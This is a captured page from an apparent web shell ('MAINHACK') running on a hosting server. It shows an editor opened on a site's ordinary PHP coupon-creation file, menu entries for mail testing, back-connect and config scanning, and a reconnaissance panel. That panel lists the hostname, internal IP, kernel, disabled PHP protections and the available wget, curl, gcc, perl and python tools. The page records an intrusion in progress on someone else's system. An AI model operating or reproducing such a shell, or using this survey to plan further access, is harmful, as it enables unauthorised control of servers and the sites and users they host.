[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: entry_coupon.php
<?php include('header.php'); $show=new Oops($db); ?> <script src="tinymce/tinymce.min.js"></script> <script>tinymce.init({ selector:'textarea' });</script> <script type="text/javascript"> $(document).ready(function(){ // Add more $('#addmore').click(function(){ // Get last id var lastname_id = $('.tr_input input[type=text]:nth-child(1)').last().attr('id'); var split_id = lastname_id.split('_'); // alert('ss'); // New index var index = Number(split_id[1]) + 1; // Create row with input elements var html = "<div class='tr_input'><table class='table'><tbody><tr><td><input type='text' id='testcode_"+index+"' name='size[]'/></td><td><input type='text' id='testcode_"+index+"' name='price1[]'/></td><td><a href='javascript:void(0);' id='remove_field' class='btn btn-danger remCF' >-</a></td></tr></tbody></table></div>"; // Append data $('#tab').append(html); }); $("#tab").on('click','.remCF',function(){ $(this).parent().parent().remove(); }); }); function get_sub_category_name() { var category_id = $('#category_id').val(); $.ajax({ type: "POST", url: "ajax_check.php", // Name of the php files data: "category="+category_id, success: function(html) { $("#show").html(html); document.getElementById("hide").style.display="none"; } }); } $(document).ready(function(){ $('#category_id').change(function(){ var cate = $('#category_id').val(); if(cate=='Grocery' || cate=='Baby'){ $("#nogrocery").show(); $("#size").hide(); $("#wght").prop('required',true); $("#unit").prop('required',true); }else if(cate=='Fashion'){ $("#size").show(); $("#nogrocery").hide(); $("#wght").prop('required',false); $("#unit").prop('required',false); }else{ $("#size").hide(); $("#nogrocery").hide(); } }); }); </script> <!-- page-wrapper --> <div id="page-wrapper"> <div class="main-page"> <!-- Form Elements --> <div class="form-grids row widget-shadow" data-example-id="basic-forms"> <div class="form-title"> <h4>Create Coupon:</h4> </div> <form role="form" method="post" enctype="multipart/form-data"> <div class="form-body"> <div class="form-group"> <div class="col-lg-3"> <label>Coupon Code</label> <input type="text" placeholder="Coupon Code" name="c_code" class="form-control" > </div> <div class="col-lg-3"> <label>Opening date</label> <input type="text" placeholder="Opening date" name="open_date" class="form-control" id="date"> </div> <div class="col-lg-3"> <label>Closing date</label> <input type="text" placeholder="Closing date" name="close_date" class="form-control" id="date1"> </div> <div class="col-lg-6"> <label>Coupon Content</label> <input type="text" placeholder="Coupon Content" name="content" class="form-control" id="date"> </div> <div class="col-lg-6"> <label>Usage Time</label> <input type="radio" name="usage_time" value="One Time">One Time <input type="radio" name="usage_time" value="Multiple Time">Multiple Time </div> <div class="col-lg-6"> <input type="submit" class="btn btn-primary" name="sub" value="submit"> </div> <div class="clearfix"></div> </div> </div> </form> </div> </div> <?php if(isset($_POST['sub'])){ $table="coupon"; $col="coupon_id"; $c_code=htmlentities(strip_tags($_POST['c_code'])); $r=$show->readwithdata($table,$col,$c_code); $num=$r->rowCount(); if($num>0){ echo "<script>sweetAlert('Oops','Coupon Id Exists','error');</script>"; }else{ $data=array( 'coupon_id'=>$c_code, 'open_date'=>htmlentities(strip_tags(date('Y-m-d',strtotime($_POST['open_date'])))), 'close_date'=>htmlentities(strip_tags(date('Y-m-d',strtotime($_POST['close_date'])))), 'content'=>htmlentities(strip_tags($_POST['content'])), 'date'=>date('Y-m-d'), 'status'=>'Active', 'usage_time'=>htmlentities(strip_tags($_POST['usage_time'])), ); //print_r($data); if($show->insert('coupon',$data)){ echo "<script>sweetAlert('OK','Thank you for entering Coupon','success');</script>"; } } } ?> </div> <!-- End Form Elements --> </div> <script type="text/javascript"> // When the document is ready $(document).ready(function(){ $("#date").datepicker({ format: 'dd-mm-yyyy', }); $(document).ready(function(){ $("#date1").datepicker({ format: 'dd-mm-yyyy', }); }); </script> <!--footer--> <?php include('footer.php'); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.49 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619